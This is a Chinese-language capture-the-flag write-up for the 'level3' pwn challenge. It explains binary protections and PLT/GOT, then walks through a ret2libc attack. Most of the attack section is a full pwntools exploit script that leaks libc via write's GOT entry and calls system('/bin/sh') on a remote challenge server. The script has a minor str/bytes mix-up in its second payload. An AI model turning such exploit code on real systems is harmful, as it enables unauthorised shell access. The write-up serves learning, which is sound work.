writeup-level3-攻防世界pwn新手区

学了web之后,顿时觉得pwn比web有意思多了哈哈哈哈,就是每次要开虚拟机好麻烦

image-20220419093735412

0x01保护机制总结

这里概述一下这几种保护机制:

  • RELRO:主要用来保护重定位表段对应数据区域,默认可写;

    • Partial RELRO got表不可写,got.plt可写 ;
    • Full RELRO got表,got.plt不可写;
  • canary:在栈靠近栈底某个位置设置校验随机数,被覆盖就出现错误,防止栈溢出的一种保护;

  • NX:堆、栈、BSS段没有执行权限;

  • PIE:程序装载的位置是随机的;

  • ASLR:

    • 0, 不开启任何随机化;
    • 1, 开启stack、libraries、 [executable base(special libraries -^-) if PIE is enabled while compiling] 的随机化;
    • 2,开启heap随机化。

0x02 动态链接库详解

ret2libc 这种攻击方式主要是针对 动态链接(Dynamic linking) 编译的程序,因为正常情况下是无法在程序中找到像 system() 、execve() 这种系统级函数(如果程序中直接包含了这种函数就可以直接控制返回地址指向他们,而不用通过这种麻烦的方式)。

​ 程序是动态链接生成的,所以在程序运行时会调用 libc.so (程序被装载时,动态链接器会将程序所有所需的动态链接库加载至进程空间,libc.so 就是其中最基本的一个)libc.so 是 linux 下 C 语言库中的运行库glibc 的动态链接版,并且 libc.so 中包含了大量的可以利用的函数,包括 system() 、execve() 等系统级函数,我们可以通过找到这些函数在内存中的地址覆盖掉返回地址来获得当前进程的控制权。通常情况下,我们会选择执行 system(“/bin/sh”) 来打开 shell, 如此就只剩下两个问题:

1、找到 system() 函数的地址;

2、在内存中找到 “/bin/sh” 这个字符串的地址。

​ 这里对plt和got表做一个最基础的解释,属于我个人的理解,plt表用于记录一系列函数名和跳转代码,一旦对动态链接库中的函数做了调用,实际调用的就是plt表的地址,然后再跳转到该函数。got表记录了函数名,但未记录地址,一旦程序开始运行,链接时就把内存中函数对应的地址填到got表上记录的对应地址。

0x03 攻击过程

分两个阶段进行攻击:

阶段一:

目的:由于没有开pie,因此动态链接库每一次的位置都是固定的,我们需要泄露动态链接库中的一个函数,这样就可以通过相对位置计算出system函数的位置。

过程:

  1. 覆盖返回地址,替换为write函数地址;
  2. write函数需要传参,第一个参数是1,第二个参数是要write的字符串地址,那么我们这里只要将wirte函数got表的地址传入,输出该地址对应内容就是内存中write的实际地址;
  3. 为了让程序还能运行,我们还需要正常的返回main函数;

结果:此时我们就有了libc在内存中的相对地址(可以通过write函数相对位置求出来)。

阶段二:

目的:调用libc中的system函数,并利用libc中的字符串实现/bin/sh

过程:

先找字符串,由于我么已经有libc_32.so.6文件了,使用命令:

1
strings -a -t x libc_32.so.6 | grep "/bin/sh" 

然后:

  1. 按照本地的地址计算出system函数的地址;
  2. 直接调用,传参传上述命令输出的字符串的地址,即可反弹shell;

0x04 exp分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

sh = remote('111.200.241.244',61889)
#sh=process('./level3')

#context.log_level = 'debug'
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')

#get func address
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

print ('elf-writegot:',hex(write_got))

payload = b'A'*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0xdeadbeef)

sh.sendlineafter("Input:\n",payload)

#leak write's addr in got
write_got_addr = u32(sh.recv()[:4])
print ('write_got address is',hex(write_got_addr))

#leak libc's addr
libc_addr = write_got_addr - libc.symbols['write']
print ('libc address is',hex(libc_addr))

#get system's addr
sys_addr = libc_addr + libc.symbols['system']
print ('system address is',hex(sys_addr))

#get bin/sh 's addr strings -a -t x libc_32.so.6 | grep "/bin/sh"
#libc.search("/bin/sh").next()
bin_sh_addr = libc_addr + 0x15902b
print ('/bin/sh address is',hex(bin_sh_addr))

#get second payload
payload0 = 'A'*0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

sh.sendline(payload0)
sh.interactive()

大佬说让从ctfwiki学起,我也感觉基础比较薄弱,开始进军ctfwiki吧~